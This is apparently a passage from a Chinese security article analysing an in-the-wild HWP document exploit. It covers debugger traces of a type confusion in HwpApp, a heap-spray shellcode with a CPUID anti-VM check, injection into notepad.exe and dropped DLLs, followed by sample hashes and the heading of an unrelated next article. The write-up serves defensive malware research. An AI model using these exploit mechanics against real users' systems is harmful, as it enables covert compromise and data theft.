145d0018 24006d 006d [00] 145d0030 120035c - (busy VirtualAlloc)
169f0018 24006d 006d [00] 169f0030 120035c - (busy VirtualAlloc)
_HEAP @ 2850000
_HEAP @ 29c0000
_HEAP @ 3160000
_HEAP @ 32c0000
_HEAP @ 3560000
_HEAP @ 4e80000
_HEAP @ 6610000
_HEAP @ 7370000
_HEAP @ 7540000
#### 类型混淆
既然这是一个类型混淆漏洞，我们来试着搞清楚到底是什么和什么产生了混淆。即：正常情况下这个地方调用的是什么函数？
既然上面说了 03 控制字支持的是超链接、书签之类的特性，那么我们不妨来构造一个含有超链接的普通HWP文档。然后对 v9()
对应处下断点，看看命中之后调用的是什么函数。
我们构造的带超链接的文本如下：
在 HwpScan2 里面看一下构造的样本的 HWPTAG_PARA_TEXT 数据：
可以看到构造的正常样本在 03 00 控制字后面的四个字节是一个字符串：”klh%”，猜测其是 hyperlink(%hlk) 的简写，随后的四个字节被置为
00 00 00 00，随后跟着我们在文本中嵌入的 url 的 unicode编码。
我们在调试器内看一下这个样本：
0:004> bp HwpApp+0x40263
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:Program FilesHncHwp80HwpApp.dll -
0:004> g
ModLoad: 08d80000 08e23000 C:Program FilesHncHwp80DocFiltersEtcDocGroup.DFT
ModLoad: 73500000 73509000 C:Program FilesHncHwp80DocFiltersRes.ENU
ModLoad: 08d80000 08e0a000 C:Program FilesHncHwp80DocFiltersMajorDocGroup.DFT
ModLoad: 73040000 73049000 C:Program FilesHncHwp80DocFiltersRes.ENU
ModLoad: 0a1d0000 0a466000 C:Program FilesHncHwp80DocFiltersMsDocGroup.DFT
ModLoad: 73500000 73509000 C:Program FilesHncHwp80DocFiltersRes.ENU
ModLoad: 0a1d0000 0a302000 C:Program FilesHncHwp80DocFiltersODTDocGroup.DFT
ModLoad: 73040000 73049000 C:Program FilesHncHwp80DocFiltersRes.ENU
ModLoad: 06890000 068d8000 C:Program FilesHncHwp80DocFiltersXMLDocGroup.DFT
ModLoad: 73500000 73509000 C:Program FilesHncHwp80DocFiltersRes.ENU
ModLoad: 745b0000 7474e000 C:WindowsWinSxSx86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2comctl32.dll
ModLoad: 744b0000 745a5000 C:Windowssystem32propsys.dll
ModLoad: 74460000 74481000 C:Windowssystem32ntmarta.dll
ModLoad: 77150000 77195000 C:Windowssystem32WLDAP32.dll
Breakpoint 0 hit
eax=00000004 ebx=02ddc600 ecx=02dbf798 edx=027d71a0 esi=0012e9ac edi=00000000
eip=04770263 esp=0012e958 ebp=0285e578 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
HwpApp+0x40263:
04770263 8d0442 lea eax,[edx+eax*2]
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:Program FilesHncHwp80Hwp.exe -
0:000> !heap -p -a edx
address 027d71a0 found in
_HEAP @ 26e0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
027d7188 0025 0000 [00] 027d71a0 0010c - (busy)
Trace: 3805a4
777bdd6c ntdll!RtlAllocateHeap+0x00000274
74e53db8 MSVCR90!malloc+0x00000079
// HWPTAG_PARA_TEXT + HWPTAG_PARA_CHAR_SHAPE + HWPTAG_PARA_LINE_SEG + other data
0:000> db edx l10c
027d71a0 20 00 20 00 20 00 20 00-03 00 6b 6c 68 25 28 9f . . . ...klh%(.
027d71b0 d7 02 00 00 00 00 03 00-68 00 74 00 74 00 70 00 ........h.t.t.p.
027d71c0 3a 00 2f 00 2f 00 77 00-77 00 77 00 2e 00 6e 00 :././.w.w.w...n.
027d71d0 65 00 77 00 73 00 69 00-73 00 2e 00 63 00 6f 00 e.w.s.i.s...c.o.
027d71e0 6d 00 2f 00 76 00 69 00-65 00 77 00 2f 00 3f 00 m./.v.i.e.w./.?.
027d71f0 69 00 64 00 3d 00 4e 00-49 00 53 00 58 00 32 00 i.d.=.N.I.S.X.2.
027d7200 30 00 31 00 38 00 30 00-39 00 31 00 32 00 5f 00 0.1.8.0.9.1.2._.
027d7210 30 00 30 00 30 00 30 00-34 00 31 00 36 00 35 00 0.0.0.0.4.1.6.5.
027d7220 39 00 33 00 04 00 6b 6c-68 00 00 00 00 00 00 00 9.3...klh.......
027d7230 00 00 04 00 0d 00 00 00-00 00 00 00 30 10 00 00 ............0...
027d7240 84 03 00 00 84 03 00 00-fd 02 00 00 1c 02 00 00 ................
027d7250 00 00 00 00 18 a6 00 00-00 00 06 00 00 00 00 00 ................
027d7260 4b 00 00 00 31 ee 9e 04-00 00 00 00 01 00 00 00 K...1...........
027d7270 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
027d7280 00 00 00 00 01 00 00 00-84 03 00 00 00 00 00 00 ................
027d7290 00 00 00 00 00 00 00 00-06 00 00 00 0c 00 00 00 ................
027d72a0 07 00 00 00 42 00 00 00-06 00 00 00 ....B.......
0:000> ? edx+eax*2
Evaluate expression: 41775528 = 027d71a8
// 03 控制字字段，可以看到原先 00 00 00 00 处被填写为了28 9f-d7 02，翻转后即为 0x02d79f28，这是一个对象指针，我们稍后解释
0:000> db 027d71a8 l10
027d71a8 03 00 6b 6c 68 25 28 9f-d7 02 00 00 00 00 03 00 ..klh%(.........
...
0:000> p
eax=00000000 ebx=02ddc600 ecx=02d79f28 edx=02d79f28 esi=0012e9ac edi=00000000
eip=04770287 esp=0012e958 ebp=0285e578 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
HwpApp+0x40287:
04770287 8b11 mov edx,dword ptr [ecx] ds:0023:02d79f28=04a39b60
0:000> p
eax=00000000 ebx=02ddc600 ecx=02d79f28 edx=04a39b60 esi=0012e9ac edi=00000000
eip=04770289 esp=0012e958 ebp=0285e578 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
HwpApp+0x40289:
04770289 50 push eax
0:000> p
eax=00000000 ebx=02ddc600 ecx=02d79f28 edx=04a39b60 esi=0012e9ac edi=00000000
eip=0477028a esp=0012e954 ebp=0285e578 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
HwpApp+0x4028a:
0477028a 8b4254 mov eax,dword ptr [edx+54h] ds:0023:04a39bb4=047eded0
0:000> p
eax=047eded0 ebx=02ddc600 ecx=02d79f28 edx=04a39b60 esi=0012e9ac edi=00000000
eip=0477028d esp=0012e954 ebp=0285e578 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
HwpApp+0x4028d:
0477028d 896c241c mov dword ptr [esp+1Ch],ebp ss:0023:0012e970=6e01134b
0:000> p
eax=047eded0 ebx=02ddc600 ecx=02d79f28 edx=04a39b60 esi=0012e9ac edi=00000000
eip=04770291 esp=0012e954 ebp=0285e578 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
HwpApp+0x40291:
04770291 ffd0 call eax {HwpApp!HwpCreateParameterArray+0x38010 (047eded0)}
// 对象大小为 0x34
0:000> !heap -p -a 02d79f28
address 02d79f28 found in
_HEAP @ 26e0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
02d79f10 000a 0000 [00] 02d79f28 00034 - (busy)
? HwpApp!HwpCreateParameterArray+283ca0
Trace: 325a10
777bdd6c ntdll!RtlAllocateHeap+0x00000274
74e53db8 MSVCR90!malloc+0x00000079
74e53eb8 MSVCR90!operator new+0x0000001f
// 查看对象内容
0:000> dc 02d79f28 l34/4
02d79f28 04a39b60 00000000 00000000 02db7be8 `............{..
02d79f38 02dbf798 0285e578 04a3944c 0000a800 ....x...L.......
02d79f48 07caef34 72edbbc6 00000000 00000000 4......r........
02d79f58 12154747 GG..
// 对象基址 +0x00 处是一个虚表指针，虚表偏移+0x54处为 sub_bded0 函数
0:000> dps 04a39b60 l54/4+1
04a39b60 04966300 HwpApp!HwpCreateParameterArray+0x1b0440
...
04a39bb0 04880990 HwpApp!HwpCreateParameterArray+0xcaad0 // +0x50
04a39bb4 047eded0 HwpApp!HwpCreateParameterArray+0x38010 // +0x54
// 对象基址 +0x20 处是Unicode编码的文本内容
0:000> du 07caef34
07caef34 "http://www.newsis.com/view/?id"
07caef74 "=NISX20180912_0000416593;1;0;0;"
// 对象基址 +0x0C 处是前一个对象
0:000> dc 02db7be8 l34/4
02db7be8 04a39b60 00000000 02d79f28 02db7c38 `.......(...8|..
02db7bf8 02dbf798 0285dc90 04a3944c 0000a800 ........L.......
02db7c08 02dcadc4 72edbbc5 00000000 00000000 .......r........
02db7c18 00000000 ....
// 前一个对象存储的内容(和文档内容一致)
0:000> du 02dcadc4
02dcadc4 "http://www.kyeongin.com/main/vi"
02dcae04 "ew.php?key=20180911010003744;1;"
02dcae44 "0;0;"
// 对象基址 +0x10 处是后一个对象
0:000> dc 02dbf798 l34/4
02dbf798 04a34ef0 0285e4e0 00000000 00000000 .N..............
02dbf7a8 00000000 00000000 00000000 00000000 ................
02dbf7b8 00000000 00000000 00000000 00000001 ................
02dbf7c8 02dbf538 8...
// 后一个对象为空，所以没有对应的文档内容，相关地址为空
// 对象基址 +0x14 处是另外一个大小为0x80的对象
0:000> !heap -p -a 0285e578
address 0285e578 found in
_HEAP @ 26e0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0285e560 0013 0000 [00] 0285e578 00080 - (busy)
? HwpApp!HwpCreateParameterArray+282250
Trace: 79763e4
777bdd6c ntdll!RtlAllocateHeap+0x00000274
74e53db8 MSVCR90!malloc+0x00000079
74e53eb8 MSVCR90!operator new+0x0000001f
4843f27 HwpApp!HwpCreateParameterArray+0x0008e067
0:000> dc 0285e578 l80/4
0285e578 04a38110 027d71a0 00000026 0000003d .....q}.&...=...
0285e588 00000043 00000043 0000004b 00030001 C...C...K.......
0285e598 00000000 02859eb8 00000000 00000001 ................
0285e5a8 00000026 0000002a 00010000 00000003 &...*...........
0285e5b8 00000018 80000000 0285e4e0 0285e448 ............H...
0285e5c8 ffffffff 00000010 0000000d 00000000 ................
0285e5d8 00000000 00000000 00000000 00000000 ................
0285e5e8 00000000 00000000 00000000 00000000 ................
// 该对象基址 +0x04 处存储着 027d71a0
// 即 HWPTAG_PARA_TEXT + HWPTAG_PARA_CHAR_SHAPE + HWPTAG_PARA_LINE_SEG + other data
0:000> db 027d71a0 l10c
027d71a0 20 00 20 00 20 00 20 00-03 00 6b 6c 68 25 28 9f . . . ...klh%(.
027d71b0 d7 02 00 00 00 00 03 00-68 00 74 00 74 00 70 00 ........h.t.t.p.
027d71c0 3a 00 2f 00 2f 00 77 00-77 00 77 00 2e 00 6e 00 :././.w.w.w...n.
027d71d0 65 00 77 00 73 00 69 00-73 00 2e 00 63 00 6f 00 e.w.s.i.s...c.o.
027d71e0 6d 00 2f 00 76 00 69 00-65 00 77 00 2f 00 3f 00 m./.v.i.e.w./.?.
027d71f0 69 00 64 00 3d 00 4e 00-49 00 53 00 58 00 32 00 i.d.=.N.I.S.X.2.
027d7200 30 00 31 00 38 00 30 00-39 00 31 00 32 00 5f 00 0.1.8.0.9.1.2._.
027d7210 30 00 30 00 30 00 30 00-34 00 31 00 36 00 35 00 0.0.0.0.4.1.6.5.
027d7220 39 00 33 00 04 00 6b 6c-68 00 00 00 00 00 00 00 9.3...klh.......
027d7230 00 00 04 00 0d 00 00 00-00 00 00 00 30 10 00 00 ............0...
027d7240 84 03 00 00 84 03 00 00-fd 02 00 00 1c 02 00 00 ................
027d7250 00 00 00 00 18 a6 00 00-00 00 06 00 00 00 00 00 ................
027d7260 4b 00 00 00 31 ee 9e 04-00 00 00 00 01 00 00 00 K...1...........
027d7270 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
027d7280 00 00 00 00 01 00 00 00-84 03 00 00 00 00 00 00 ................
027d7290 00 00 00 00 00 00 00 00-06 00 00 00 0c 00 00 00 ................
027d72a0 07 00 00 00 42 00 00 00-06 00 00 00 ....B.......
### 逆向分析
我们来看一下正常调用时 call 的 sub_bded0 函数究竟是个什么函数？
可以看到这个函数的作用很简单，简单来讲就是获取虚表内的上一个虚函数地址(+0x50处的虚函数指针)，然后调用之，返回 *[+0x50虚函数的返回值 +
0x04] 处的值
.text:000BDED0 sub_BDED0 proc near
.text:000BDED0 8B 01 mov eax, [ecx]
.text:000BDED2 8B 50 50 mov edx, [eax+50h]
.text:000BDED5 FF D2 call edx
.text:000BDED7 8B 40 04 mov eax, [eax+4]
.text:000BDEDA C3 retn
.text:000BDEDA sub_BDED
我们以 “%hlk” 为例看一下上一个虚函数 (+0x50) 的作用是什么：
0:000> p
eax=047eded0 ebx=02ddc600 ecx=02d79f28 edx=04a39b60 esi=0012f59c edi=00000000
eip=04770291 esp=0012f544 ebp=0285e578 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
HwpApp+0x40291:
04770291 ffd0 call eax {HwpApp!HwpCreateParameterArray+0x38010 (047eded0)}
0:000> t
eax=047eded0 ebx=02ddc600 ecx=02d79f28 edx=04a39b60 esi=0012f59c edi=00000000
eip=047eded0 esp=0012f540 ebp=0285e578 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
HwpApp!HwpCreateParameterArray+0x38010:
047eded0 8b01 mov eax,dword ptr [ecx] ds:0023:02d79f28=04a39b60
0:000> p
eax=04a39b60 ebx=02ddc600 ecx=02d79f28 edx=04a39b60 esi=0012f59c edi=00000000
eip=047eded2 esp=0012f540 ebp=0285e578 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
HwpApp!HwpCreateParameterArray+0x38012:
047eded2 8b5050 mov edx,dword ptr [eax+50h] ds:0023:04a39bb0=04880990
0:000> p
eax=04a39b60 ebx=02ddc600 ecx=02d79f28 edx=04880990 esi=0012f59c edi=00000000
eip=047eded5 esp=0012f540 ebp=0285e578 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
HwpApp!HwpCreateParameterArray+0x38015:
047eded5 ffd2 call edx {HwpApp!HwpCreateParameterArray+0xcaad0 (04880990)} // 调用 +0x50 处的虚函数
0:000> t
eax=04a39b60 ebx=02ddc600 ecx=02d79f28 edx=04880990 esi=0012f59c edi=00000000
eip=04880990 esp=0012f53c ebp=0285e578 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
HwpApp!HwpCreateParameterArray+0xcaad0:
04880990 b8100ca804 mov eax,offset HwpApp!HwpCreateParameterArray+0x2cad50 (04a80c10) // 获取某个值
// 定位该值在 hwpapp.dll 中的偏移
0:000> ? 04a80c10-hwpapp
Evaluate expression: 3476496 = 00350c10
// 在IDA中可以看到，上一个虚表函数的作用是获取对应的 "%hlk" 标志
.data:00350C10 dword_350C10 dd 10A90003h ; DATA XREF: sub_150990o
.data:00350C10 ; sub_2EE4D0+Ao
.data:00350C14 dd '%hlk'
.data:00350C18 dd 0
.data:00350C1C dd offset sub_150920
在IDA中还可以找到相关标志的全称与简写对应关系(截图仅列出部分)，合理推测这些就是 03 控制字支持的那些特性。
通过交叉引用，我们可以发现一处一模一样的调用点，从而更加确定被混淆函数的作用是获得当前特性对应的标志(从而可以用来在后面进行比较等)。
对其他特性的标志做相应检查后发现逻辑全部相似，漏洞发生处调用的函数正常情况下均为：
> sub_bded0
### 成因总结
1. 正常逻辑下 HWPTAG_PARA_TEXT TAG 里面会指定段落的文本信息，其中(HWPTAG_PARA_TEXT 及其他一些 Tag)可以用 03 控制字指定一些控制属性，如超链接、书签等。在正常情况下，每一个标签(用4字节表示)后是对应的对象地址(4字节)，该地址在正常情况下会被初始化为 NULL，执行过程中会将对象地址动态赋值给相应的内存。在解析 HWPTAG_PARA_TEXT 数据内 03 控制字的过程中，会调用对应 对象关联的第(0x54/4 + 1)个处理例程，其作用是获取该属性对应的标志，如 “%hlk” 等。
2. 攻击者通过精心构造 HWPTAG_PARA_TEXT TAG 的数据，绕过了执行过程中对相关对象指针的校验和赋值，借助事先用堆喷射布控的内存，成功实现类型混淆。由于hwp 2010未开启 DEP ，攻击者直接将 eip 劫持到位于堆上的 shellcode 并执行之。
整个过程中 HWP 解析程序不会崩溃，用户在打开文档时几乎是无感知的。
## shellcode 分析
漏洞成功触发转移 eip 到 0x0e0c0e0c，雪橇指令会一路滑行到 0x0f1afc71，进入 shellcode 的先导阶段。
0:000> u 0f1afc6b
0f1afc6b 57 push edi
0f1afc6c 56 push esi
0f1afc6d 52 push edx
0f1afc6e 53 push ebx
0f1afc6f 55 push ebp
0f1afc70 51 push ecx
0f1afc71 33c9 xor ecx,ecx
0f1afc73 ba0c0e0c0e mov edx,0E0C0E0Ch
0:000> bp 0f1afc73
0:000> g
Breakpoint 1 hit
eax=0e0c0e0f ebx=02c6c600 ecx=00000000 edx=0e0c0e0c esi=0012e6dc edi=00000000
eip=0f1afc73 esp=0012e668 ebp=0271e4e0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0f1afc73 ba0c0e0c0e mov edx,0E0C0E0Ch
### 反虚拟机
有意思的是，shellcode 首先会调用 cpuid
指令检测虚拟机环境，相关基础知识在[这篇文章](https://consen.github.io/2016/09/11/Anti-VM-via-CPUID/)中有介绍。
0:000> p
eax=0e0c0e03 ebx=0eeffc66 ecx=00000000 edx=0eeffca5 esi=0012ec8c edi=00000000
eip=0eeffca8 esp=0012ec18 ebp=027d1c98 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0eeffca8 33c0 xor eax,eax
0:000> p
eax=00000000 ebx=0eeffc66 ecx=00000000 edx=0eeffca5 esi=0012ec8c edi=00000000
eip=0eeffcaa esp=0012ec18 ebp=027d1c98 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0eeffcaa 40 inc eax
0:000> p
eax=00000001 ebx=0eeffc66 ecx=00000000 edx=0eeffca5 esi=0012ec8c edi=00000000
eip=0eeffcab esp=0012ec18 ebp=027d1c98 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
0eeffcab 53 push ebx
// 调用cpuid指令
0:000> p
eax=00000001 ebx=0eeffc66 ecx=00000000 edx=0eeffca5 esi=0012ec8c edi=00000000
eip=0eeffcac esp=0012ec14 ebp=027d1c98 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
0eeffcac 0fa2 cpuid
0:000> p
eax=000306a9 ebx=00010800 ecx=ffba2203 edx=0f8bfbff esi=0012ec8c edi=00000000
eip=0eeffcae esp=0012ec14 ebp=027d1c98 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
0eeffcae 5b pop ebx
0:000> p
eax=000306a9 ebx=0eeffc66 ecx=ffba2203 edx=0f8bfbff esi=0012ec8c edi=00000000
eip=0eeffcaf esp=0012ec18 ebp=027d1c98 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
0eeffcaf c1f91f sar ecx,1Fh
// 判断最高位是否为1
0:000> p
eax=000306a9 ebx=0eeffc66 ecx=ffffffff edx=0f8bfbff esi=0012ec8c edi=00000000
eip=0eeffcb2 esp=0012ec18 ebp=027d1c98 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000287
0eeffcb2 f6c101 test cl,1
// 我们在调试器内手动清零 ecx，使后续行为能够正常触发
0:000> r ecx=0
// 依据 cpuid 的结果判断是否位于虚拟机，若位于虚拟机则直接返回
0:000> p
eax=000306a9 ebx=0eeffc66 ecx=00000000 edx=0f8bfbff esi=0012ec8c edi=00000000
eip=0eeffcb5 esp=0012ec18 ebp=027d1c98 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0eeffcb5 0f8538030000 jne 0eeffff3 [br=0]
### 启动并注入 notepad
执行流正常往下后，shellcode 会在某特定位置(jmp eax)处循环调用所需用到的函数，我们对该调用点下断输出。可以看到 shellcode
按顺序调用了下述 API (VirtualQuery+5 调用由于太多，所以没有列出)：
> KERNELBASE!LoadLibraryExA+0x5
> KERNELBASE!GlobalAlloc
> KERNELBASE!GlobalAlloc
> KERNELBASE!CreateFileW+0x5
> KERNELBASE!GetFileSize
> KERNELBASE!SetFilePointer
> KERNELBASE!ReadFile
> kernel32!CreateProcessA+0x5
> KERNELBASE!VirtualAllocEx
> KERNELBASE!WriteProcessMemory+0x5
> KERNELBASE!CreateRemoteThread
// 调试器内观察
0:000> bp 0eeffd31 ".if(eax != KERNELBASE!VirtualQuery+0x5){u eax; g;}.else{g;}"
0:000> g
KERNELBASE!LoadLibraryExA+0x5:
75968d6b 51 push ecx
75968d6c 51 push ecx
75968d6d ff7508 push dword ptr [ebp+8]
75968d70 8d45f8 lea eax,[ebp-8]
75968d73 50 push eax
75968d74 e83cfaffff call KERNELBASE!Basep8BitStringToDynamicUnicodeString (759687b5)
75968d79 85c0 test eax,eax
75968d7b 741e je KERNELBASE!LoadLibraryExA+0x35 (75968d9b)
KERNELBASE!GlobalAlloc:
7596d6de 6a18 push 18h
7596d6e0 6858d79675 push offset KERNELBASE!BemFreeContract+0x3e0 (7596d758)
7596d6e5 e8b63fffff call KERNELBASE!_SEH_prolog4 (759616a0)
7596d6ea 33ff xor edi,edi
7596d6ec 897de4 mov dword ptr [ebp-1Ch],edi
7596d6ef 897ddc mov dword ptr [ebp-24h],edi
7596d6f2 8b4508 mov eax,dword ptr [ebp+8]
7596d6f5 a98d80ffff test eax,0FFFF808Dh
KERNELBASE!GlobalAlloc:
7596d6de 6a18 push 18h
7596d6e0 6858d79675 push offset KERNELBASE!BemFreeContract+0x3e0 (7596d758)
7596d6e5 e8b63fffff call KERNELBASE!_SEH_prolog4 (759616a0)
7596d6ea 33ff xor edi,edi
7596d6ec 897de4 mov dword ptr [ebp-1Ch],edi
7596d6ef 897ddc mov dword ptr [ebp-24h],edi
7596d6f2 8b4508 mov eax,dword ptr [ebp+8]
7596d6f5 a98d80ffff test eax,0FFFF808Dh
KERNELBASE!CreateFileW+0x5:
7596a855 8b4518 mov eax,dword ptr [ebp+18h]
7596a858 83ec64 sub esp,64h
7596a85b 48 dec eax
7596a85c 0f8499e5ffff je KERNELBASE!CreateFileW+0x57 (75968dfb)
7596a862 48 dec eax
7596a863 0f8468360000 je KERNELBASE!CreateFileW+0x4e (7596ded1)
7596a869 48 dec eax
7596a86a 0f8579360000 jne KERNELBASE!CreateFileW+0x14 (7596dee9)
KERNELBASE!GetFileSize:
7596de8b 8bff mov edi,edi
7596de8d 55 push ebp
7596de8e 8bec mov ebp,esp
7596de90 51 push ecx
7596de91 51 push ecx
7596de92 8d45f8 lea eax,[ebp-8]
7596de95 50 push eax
7596de96 ff7508 push dword ptr [ebp+8]
KERNELBASE!SetFilePointer:
7596df0d 8bff mov edi,edi
7596df0f 55 push ebp
7596df10 8bec mov ebp,esp
7596df12 8b4508 mov eax,dword ptr [ebp+8]
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:Program FilesHncCommon80HncLibeay8.dll -
7596df15 2503000010 and eax,offset HncLibeay8!Ordinal1003+0x3 (10000003)
7596df1a 83ec28 sub esp,28h
7596df1d 83f803 cmp eax,3
7596df20 0f84405f0100 je KERNELBASE!SetFilePointer+0x15 (75983e66)
KERNELBASE!ReadFile:
7596e013 6a18 push 18h
7596e015 6898e09675 push offset KERNELBASE!BemFreeContract+0x1b0 (7596e098)
7596e01a e88136ffff call KERNELBASE!_SEH_prolog4 (759616a0)
7596e01f 33c9 xor ecx,ecx
7596e021 894de0 mov dword ptr [ebp-20h],ecx
7596e024 33c0 xor eax,eax
7596e026 8d7de4 lea edi,[ebp-1Ch]
7596e029 ab stos dword ptr es:[edi]
kernel32!CreateProcessA+0x5:
75b92087 6a00 push 0
75b92089 ff752c push dword ptr [ebp+2Ch]
75b9208c ff7528 push dword ptr [ebp+28h]
75b9208f ff7524 push dword ptr [ebp+24h]
75b92092 ff7520 push dword ptr [ebp+20h]
75b92095 ff751c push dword ptr [ebp+1Ch]
75b92098 ff7518 push dword ptr [ebp+18h]
75b9209b ff7514 push dword ptr [ebp+14h]
KERNELBASE!VirtualAllocEx:
759679b8 8bff mov edi,edi
759679ba 55 push ebp
759679bb 8bec mov ebp,esp
759679bd 51 push ecx
759679be 8b4510 mov eax,dword ptr [ebp+10h]
759679c1 8945fc mov dword ptr [ebp-4],eax
759679c4 8b450c mov eax,dword ptr [ebp+0Ch]
759679c7 894510 mov dword ptr [ebp+10h],eax
KERNELBASE!WriteProcessMemory+0x5:
759842f8 51 push ecx
759842f9 51 push ecx
759842fa 8b450c mov eax,dword ptr [ebp+0Ch]
759842fd 53 push ebx
759842fe 8b5d14 mov ebx,dword ptr [ebp+14h]
75984301 56 push esi
75984302 8b35d0119675 mov esi,dword ptr [KERNELBASE!_imp__NtProtectVirtualMemory (759611d0)]
75984308 57 push edi
KERNELBASE!CreateRemoteThread:
759938c0 8bff mov edi,edi
759938c2 55 push ebp
759938c3 8bec mov ebp,esp
759938c5 ff7520 push dword ptr [ebp+20h]
759938c8 6a00 push 0
759938ca ff751c push dword ptr [ebp+1Ch]
759938cd ff7518 push dword ptr [ebp+18h]
759938d0 ff7514 push dword ptr [ebp+14h]
...
0:000> |
. 0 id: 960 create name: Hwp.exe
1 id: 970 child name: notepad.exe // 创建notepad.exe进程并执行远程线程注入
0:000> g
(970.e7c): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=001bf920 edx=777870b4 esi=fffffffe edi=00000000
eip=777e04f6 esp=001bf93c ebp=001bf968 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!LdrpDoDebuggerBreak+0x2c:
777e04f6 cc int 3
// 切换到notepad.exe进程进行调试
1:004> |.
. 1 id: 970 child name: notepad.exe
### 写入 wsss.dll
// 观察发现 notepad.exe 进程会写入一个 wsss.dll 动态库到temp目录
1:004> bp ntdll!ZwWriteFile+5
1:004> g
Breakpoint 3 hit
eax=0000018c ebx=000000a4 ecx=00000000 edx=759618d4 esi=00000000 edi=001bfd7c
eip=77786a6d esp=001bfce4 ebp=001bfd44 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ZwWriteFile+0x5:
77786a6d ba0003fe7f mov edx,offset SharedUserData!SystemCallStub (7ffe0300)
1:004> dd esp l8
001bfce4 75967584 000000a4 00000000 00000000
001bfcf4 00000000 001bfd24 000601e6 00022600
// 写入的Buffer为PE文件
1:004> dc 000601e6
000601e6 00905a4d 00000003 00000004 0000ffff MZ..............
000601f6 000000b8 00000000 00000040 00000000 ........@.......
00060206 00000000 00000000 00000000 00000000 ................
00060216 00000000 00000000 00000000 000000e8 ................
00060226 0eba1f0e cd09b400 4c01b821 685421cd ........!..L.!Th
00060236 70207369 72676f72 63206d61 6f6e6e61 is program canno
00060246 65622074 6e757220 206e6920 20534f44 t be run in DOS
00060256 65646f6d 0a0d0d2e 00000024 00000000 mode....$.......
1:004> !handle a4 0xf
Handle a4
Type File
Attributes 0
GrantedAccess 0x120196:
ReadControl,Synch
Write/Add,Append/SubDir/CreatePipe,WriteEA,ReadAttr,WriteAttr
HandleCount 2
PointerCount 3
No Object Specific Information available
查看一下0xa4句柄对应的文件名称，可以看到为temp目录下的wsss.dll
### 其他行为
explorer.exe
load： C:Usersuser_nameAppDataLocalTempwsss.dll
create process：C:WindowsSystem32sysprepsysprep.exe
sysprep.exe
write：C:Windowssystem32iconsvc.dll
load：C:Windowssystem32iconsvc.dll
## 哈希
wsss.dll && iconsvc.dll：
3ba8a6815f828dfc518a0bdbd27bba5b
漏洞样本：
54783422cfd7029a26a3f3f5e9087d8a
b5b6e93ab27cec75f07af2a3a6a40926
800866bbab514657969996210bcf727b
ead682b889218979b1f2f1527227af9b
f09ea2a841114121f32211faac553e1b
9daf088fe4c9a9580216e98dbb7d1fca
3ec69ee7135272e5bed3ea5378ade6ee
33874577bf54d3c209925c9def880eb9
af792a34548a2038f034ea9a6ff0639a
## 链接
<http://asec.ahnlab.com/1015>
<http://asec.ahnlab.com/1035>
<http://d.hatena.ne.jp/Kango/20141223/1419269574>
<http://ex3llo.tistory.com/31>
<http://www.nurilab.co.kr/?p=114>
<https://consen.github.io/2016/09/11/Anti-VM-via-CPUID/>
<https://www.fireeye.com/content/dam/fireeye-www/global/en/blog/threat-research/FireEye_HWP_ZeroDay.pdf>
<https://cdn.hancom.com/link/docs/%ED%95%9C%EA%B8%80%EB%AC%B8%EC%84%9C%ED%8C%8C%EC%9D%BC%ED%98%95%EC%8B%9D_5.0_revision1.2.pdf>
## 工具
<https://www.nurilab.net/hwpscan2>
<https://github.com/yujgewt/fewawef/blob/master/tag_parser.py>
<https://www.hancom.com/cs_center/csDownload.do> | 社区文章 |
# 如何在锁屏时利用微软语音助手使用浏览器（CVE-2018-8253）
##### 译文声明
